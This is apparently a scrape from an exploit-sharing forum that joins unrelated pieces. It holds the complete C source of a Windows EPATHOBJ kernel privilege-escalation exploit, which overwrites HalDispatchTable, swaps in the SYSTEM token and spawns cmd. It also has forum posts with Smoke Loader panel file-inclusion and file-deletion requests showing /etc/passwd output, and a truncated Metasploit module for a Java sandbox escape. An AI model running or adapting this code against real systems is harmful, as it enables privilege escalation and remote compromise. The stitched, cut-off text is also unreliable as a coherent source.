//   win32k!EPATHOBJ::bFlatten+0x15:
//   95c9252c f6400810        test    byte ptr [eax+8],10h       ds:0023:41414148=??
//
//   The question is how to turn that into code execution? It's obviously trivial to
//   call prFlattenRec with our userspace PATHRECORD..we can do that by setting
//   PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
//   poses a problem.
//
//   Let me demonstrate calling it with my own PATHRECORD:
//
//       // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
//       // pathrecord chain.
//       PathRecord = VirtualAlloc(NULL,
//                                 sizeof(PATHRECORD),
//                                 MEM_COMMIT | MEM_RESERVE,
//                                 PAGE_EXECUTE_READWRITE);
//
//       // Initialise with recognisable debugging values.
//       FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
//       PathRecord->next    = (PVOID)(0x41414141);
//       PathRecord->prev    = (PVOID)(0x42424242);
//
//       // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
//       // EPATHOBJ::bFlatten(), do that here.
//       PathRecord->flags   = PD_BEZIERS;
//
//       // Generate a large number of Bezier Curves made up of pointers to our
//       // PATHRECORD object.
//       for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//           Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
//           Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
//           PointTypes[PointNum]    = PT_BEZIERTO;
//       }
//
//   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
//   kd> g
//   win32k!EPATHOBJ::pprFlattenRec+0x28:
//   95c922c2 33c0            xor     eax,eax
//   kd> dd ebp+8 L1
//   a3633be0  00130000
//
//   The ppr object is in userspace! If we peek at it:
//
//   kd> dd poi(ebp+8)
//   00130000  41414141 42424242 00000010 cccccccc
//   00130010  00000000 00000000 00000000 00000000
//   00130020  00000000 00000000 00000000 00000000
//   00130030  00000000 00000000 00000000 00000000
//   00130040  00000000 00000000 00000000 00000000
//   00130050  00000000 00000000 00000000 00000000
//   00130060  00000000 00000000 00000000 00000000
//   00130070  00000000 00000000 00000000 00000000
//
//   There's the next and prev pointer.
//
//   kd> kvn
//    # ChildEBP RetAddr  Args to Child
//   00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
//   01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
//   02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
//   03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
//
//   The question is how to get PATHALLOC() to succeed under memory pressure so we
//   can make this exploitable? I'm quite proud of this list cycle trick,
//   here's how to turn it into an arbitrary write.
//
//   First, we create a watchdog thread that will patch the list atomically
//   when we're ready. This is needed because we can't exploit the bug while
//   HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
//   .text:BFA122B8                 call newpathrec             ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
//   .text:BFA122BD                 cmp     eax, 1              ; Check for failure
//   .text:BFA122C0                 jz      short continue
//   .text:BFA122C2                 xor     eax, eax            ; Exit early
//   .text:BFA122C4                 jmp     early_exit
//
//   So we create a list node like this:
//
//   PathRecord->Next    = PathRecord;
//   PathRecord->Flags   = 0;
//
//   Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
//   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//   {
//       /* ... */
//
//       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//       {
//         if ( ppr->flags & PD_BEZIER )
//         {
//           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//         }
//       }
//
//       /* ... */
//   }
//
//   While it's spinning, we clean up in another thread, then patch the thread (we
//   can do this, because it's now in userspace) to trigger the exploit. The first
//   block of pprFlattenRec does something like this:
//
//       if ( pprNew->pprPrev )
//         pprNew->pprPrev->pprnext = pprNew;
//
//   Let's make that write to 0xCCCCCCCC.
//
//   DWORD WINAPI WatchdogThread(LPVOID Parameter)
//   {
//
//       // This routine waits for a mutex object to timeout, then patches the
//       // compromised linked list to point to an exploit. We need to do this.
//       LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
//                          GetCurrentThreadId(),
//                          Mutex);
//
//       if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
//           // It looks like the main thread is stuck in a call to FlattenPath(),
//           // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
//           // up, and then patch the list to trigger our exploit.
//           while (NumRegion--)
//               DeleteObject(Regions[NumRegion]);
//
//           LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
//
//           InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
//       } else {
//           LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
//       }
//
//       return 0;
//   }
//
//       PathRecord->next    = PathRecord;
//       PathRecord->prev    = (PVOID)(0x42424242);
//       PathRecord->flags   = 0;
//
//       ExploitRecord.next  = NULL;
//       ExploitRecord.prev  = 0xCCCCCCCC;
//       ExploitRecord.flags = PD_BEZIERS;
//
//   Here's the output on Windows 8:
//
//   kd> g
//   *******************************************************************************
//   *                                                                             *
//   *                        Bugcheck Analysis                                    *
//   *                                                                             *
//   *******************************************************************************
//
//   Use !analyze -v to get detailed debugging information.
//
//   BugCheck 50, {cccccccc, 1, 8f18972e, 2}
//   *** WARNING: Unable to verify checksum for ComplexPath.exe
//   *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
//   Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
//   Followup: MachineOwner
//   ---------
//
//   nt!RtlpBreakWithStatusInstruction:
//   810f46f4 cc              int     3
//   kd> kv
//   ChildEBP RetAddr  Args to Child
//   a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
//   a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
//   a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
//   a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
//   a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
//   a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
//   a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
//   a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
//   a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
//   a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
//   a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
//   a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
//   0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
//   0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
//   WARNING: Stack unwind information not available. Following frames may be wrong.
//   0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
//   0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
//   0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
//   0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
//   0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
//   kd> .trap a03aba2c
//   ErrCode = 00000002
//   eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
//   eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
//   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
//   win32k!EPATHOBJ::pprFlattenRec+0x82:
//   8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
//   kd> vertarget
//   Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
//   Product: WinNt, suite: TerminalServer SingleUserTS
//   Built by: 9200.16581.x86fre.win8_gdr.130410-1505
//   Machine Name:
//   Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
//   Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
//   System Uptime: 0 days 0:02:30.432
//   kd> .bugcheck
//   Bugcheck code 00000050
//   Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.
//
// CREDIT
//
// Tavis Ormandy <taviso () cmpxchg8b com>
// progmboy <programmeboy () gmail com>
//
 
POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion = 0;
HANDLE      Mutex;
DWORD       Finished = 0;
 
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
 
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
 
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010
 
typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;
 
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;
 
PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;
PPATHRECORD ExploitRecordExit;
 
enum { SystemModuleInformation = 11 };
enum { ProfileTotalIssues = 2 };
 
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
 
typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
 
FARPROC NtQuerySystemInformation;
FARPROC NtQueryIntervalProfile;
FARPROC PsReferencePrimaryToken;
FARPROC PsLookupProcessByProcessId;
PULONG  HalDispatchTable;
ULONG   HalQuerySystemInformation;
PULONG  TargetPid;
PVOID  *PsInitialSystemProcess;
 
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
                          DWORD CurrentValue,
                          DWORD NewValue,
                          DWORD MaxSize)
{
    DWORD i, Mask;
 
    // Microsoft QWORD aligns object pointers, then uses the lower three
    // bits for quick reference counting.
    Mask = ~7;
 
    // Mask out the reference count.
    CurrentValue &= Mask;
 
    // Scan the structure for any occurrence of CurrentValue.
    for (i = 0; i < MaxSize; i++) {
        if ((Structure[i] & Mask) == CurrentValue) {
            // And finally, replace it with NewValue.
            Structure[i] = NewValue;
            return TRUE;
        }
    }
 
    // Member not found.
    return FALSE;
}
 
 
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
    PVOID  TargetProcess;
 
    // Record that the exploit completed.
    Finished = 1;
 
    // Fix the corrupted HalDispatchTable,
    HalDispatchTable[1] = HalQuerySystemInformation;
 
    // Find the EPROCESS structure for the process I want to escalate
    if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
        PACCESS_TOKEN SystemToken;
        PACCESS_TOKEN TargetToken;
 
        // Find the Token object for my target process, and the SYSTEM process.
        TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
        SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
 
        // Find the token in the target process, and replace with the system token.
        FindAndReplaceMember((PDWORD) TargetProcess,
                             (DWORD)  TargetToken,
                             (DWORD)  SystemToken,
                             0x200);
    }
 
    return 0;
}
 
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
    // Here we wait for the main thread to get stuck inside FlattenPath().
    WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
 
    // It looks like we've taken control of the list, and the main thread
    // is spinning in EPATHOBJ::bFlatten. We can't continue because
    // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
 
    // So first, we clean up and make sure it can allocate memory.
    while (NumRegion) DeleteObject(Regions[--NumRegion]);
 
    // Now we switch out the Next pointer for our exploit record. As soon
    // as this completes, the main thread will stop spinning and continue
    // into EPATHOBJ::pprFlattenRec.
    InterlockedExchangePointer(&PathRecord->next,
                               &ExploitRecord);
    return 0;
}
 
// I use this routine to generate a table of acceptable stub addresses. The
// 0x40 offset is the location of the PULONG parameter to
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
// trick.
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
    __asm inc eax
    __asm jmp dword ptr [ebp+0x40]; //  0
    __asm inc ecx
    __asm jmp dword ptr [ebp+0x40]; //  1
    __asm inc edx
    __asm jmp dword ptr [ebp+0x40]; //  2
    __asm inc ebx
    __asm jmp dword ptr [ebp+0x40]; //  3
    __asm inc esi
    __asm jmp dword ptr [ebp+0x40]; //  4
    __asm inc edi
    __asm jmp dword ptr [ebp+0x40]; //  5
    __asm dec eax
    __asm jmp dword ptr [ebp+0x40]; //  6
    __asm dec ecx
    __asm jmp dword ptr [ebp+0x40]; //  7
    __asm dec edx
    __asm jmp dword ptr [ebp+0x40]; //  8
    __asm dec ebx
    __asm jmp dword ptr [ebp+0x40]; //  9
    __asm dec esi
    __asm jmp dword ptr [ebp+0x40]; // 10
    __asm dec edi
    __asm jmp dword ptr [ebp+0x40]; // 11
 
    // Mark end of table.
    __asm {
        _emit 0
        _emit 0
        _emit 0
        _emit 0
    }
}
 
int main(int argc, char **argv)
{
    HANDLE               Thread;
    HDC                  Device;
    ULONG                Size;
    ULONG                PointNum;
    HMODULE              KernelHandle;
    PULONG               DispatchRedirect;
    PULONG               Interval;
    ULONG                SavedInterval;
    RTL_PROCESS_MODULES  ModuleInfo;
 
    LogMessage(L_INFO, "\r--------------------------------------------------\n"
                       "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
                       "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
                       "\n");
 
    NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
    NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
    Mutex                     = CreateMutex(NULL, FALSE, NULL);
    DispatchRedirect          = (PVOID) HalDispatchRedirect;
    Interval                  = (PULONG) ShellCode;
    SavedInterval             = Interval[0];
    TargetPid                 = GetCurrentProcessId();
 
    LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
    LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
 
    // Lookup the address of system modules.
    NtQuerySystemInformation(SystemModuleInformation,
                             &ModuleInfo,
                             sizeof ModuleInfo,
                             NULL);
 
    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
                        ModuleInfo.Modules[0].FullPathName,
                        ModuleInfo.Modules[0].ImageBase);
 
    // Lookup some system routines we require.
    KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
    HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
 
    // Search for a ret instruction to install in the damaged HalDispatchTable.
    HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
                                - (ULONG) KernelHandle
                                + (ULONG) ModuleInfo.Modules[0].ImageBase;
 
    LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
 
    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof *PathRecord,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
 
    LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
 
    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);
 
    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
 
    // Now we need to create a PATHRECORD at an address that is also a valid
    // x86 instruction, because the pointer will be interpreted as a function.
    // I've created a list of candidates in DispatchRedirect.
    LogMessage(L_INFO, "Searching for an available stub address...");
 
    // I need to map at least two pages to guarantee the whole structure is
    // available.
    while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
                         PAGE_SIZE * 2,
                         MEM_COMMIT | MEM_RESERVE,
                         PAGE_EXECUTE_READWRITE)) {
 
        LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
                            *DispatchRedirect & ~(PAGE_SIZE - 1),
                            GetLastError());
 
        // This page is not available, try the next candidate.
        if (!*++DispatchRedirect) {
            LogMessage(L_ERROR, "No redirect candidates left, sorry!");
            return 1;
        }
    }
 
    LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
 
    // This PATHRECORD must terminate the list and recover.
    ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
    ExploitRecordExit->next     = NULL;
    ExploitRecordExit->prev     = NULL;
    ExploitRecordExit->flags    = PD_BEGINSUBPATH;
    ExploitRecordExit->count    = 0;
 
    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);
 
    // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
    // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
    // be copied over to the new record. Therefore, we get
    //
    // nt!HalDispatchTable[1] = &ExploitRecordExit.
    //
    // So we make &ExploitRecordExit a valid sequence of instuctions here.
    LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
 
    ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
    ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
    ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
    ExploitRecord.count         = 4;
 
    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);
 
    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
 
    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }
 
    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                                   NULL,
                                   NULL,
                                   0,
                                   GENERIC_ALL,
                                   NULL));
 
    // Get a handle to this Desktop.
    Device = GetDC(NULL);
 
    // Take ownership of Mutex
    WaitForSingleObject(Mutex, INFINITE);
 
    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
 
    LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
 
    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.
    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }
 
    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
 
    LogMessage(L_INFO, "Flattening curves...");
 
    for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);
 
        // Test if exploitation succeeded.
        NtQueryIntervalProfile(ProfileTotalIssues, Interval);
 
        // Repair any damage.
        *Interval = SavedInterval;
 
        EndPath(Device);
    }
 
    if (Finished) {
        LogMessage(L_INFO, "Success, launching shell...", Finished);
        ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
        LogMessage(L_INFO, "Press any key to exit...");
        getchar();
        ExitProcess(0);
    }
 
    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);
    WaitForSingleObject(Thread, INFINITE);
    ReleaseDC(NULL, Device);
 
    // Try again...
    LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
    LogMessage(L_INFO, "Press any key to exit...");
    getchar();
    ExitProcess(1);
}
 
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;
 
    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);
 
    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
    }
 
    fflush(stdout);
    fflush(stderr);
 
    return TRUE;
}
Smoke Loader LFI / File Deletion
ID: 67686ba3b4103b69df379d91
Thread ID: 23924
Created: 2013-02-18T18:02:32+0000
Last Post: 2013-03-11T07:51:45+0000
Author: DarckSol
Prefix: Web
Replies: 6 Views: 2K

Two other vulnerabilities I forgot to mention, lfi and file deletion via
control.php. The user must be logged into the administrative panel.

1. LFI

GET

http://evilserver.net/control.php?act=dwns..../../etc/passwd

Enter username for Who are you? at evilsite.net:80:eviladmin
Password:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
maniaque:x:500:500::/home/maniaque:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

2. Arbitrary file deletion

GET http://evilserver.net/control.php?act=dels...le=../index.php

Enter username for Who are you? at evilsite.net:80:eviladmin
Password:

wget evilserver.net/index.php

HTTP request sent, awaiting response... 404 Not Found
2013-02-17 09:03:49 ERROR 404: Not Found.

The panel's c&c gateway is index.php. In older versions it was easily
identifiable as the only output it returned was "404 Error''

The newer versions mask the gateway with a standard 404 Not Found, but with
a 200 status.

Click to expand...

Java Applet AverageRangeStatisticImpl
ID: 67686ba3b4103b69df379dbe
Thread ID: 23806
Created: 2013-01-23T08:36:35+0000
Last Post: 2013-01-25T10:28:21+0000
Author: DarckSol
Prefix: Remote
Replies: 8 Views: 2K

This Metasploit module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.

Click to expand...

[METASPLOIT]

Code:Copy to clipboard

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

  super( update_info( info,
  	'Name'          => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
  	'Description'   => %q{
    	This module abuses the AverageRangeStatisticImpl from a Java Applet to run
    arbitrary Java code outside of the sandbox, a different exploit vector than the one
    exploited in the wild in November of 2012. The vulnerability affects Java version
    7u7 and earlier.
  	},
  	'License'       => MSF_LICENSE,
  	'Author'        =>
    [
    	'Unknown', # Vulnerability discovery at security-explorations
    	'juan vazquez' # Metasploit module
    ],
  	'References'    =>
    [
    	[ 'CVE', '2012-5076' ],
    	[ 'OSVDB', '86363' ],
    	[ 'BID', '56054' ],
    	[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
    	[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
    	[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
    ],
  	'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
  	'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
  	'Targets'       =>
    [
    	[ 'Generic (Java Payload)',
      {
      	'Platform' => ['java'],
      	'Arch' => ARCH_JAVA,
      }
    	],
    	[ 'Windows x86 (Native Payload)',
      {
      	'Platform' => 'win',
      	'Arch' => ARCH_X86,
      }
    	],
    	[ 'Mac OS X x86 (Native Payload)',
      {
      	'Platform' => 'osx',
      	'Arch' => ARCH_X86,
      }
    	],
    	[ 'Linux x86 (Native Payload)',
      {
      	'Platform' => 'linux',
      	'Arch' => ARCH_X86,
      }
    	],
    ],
  	'DefaultTarget'  => 0,
  	'DisclosureDate' => 'Oct 16 2012'
  ))
	end


	def setup
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")
  @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
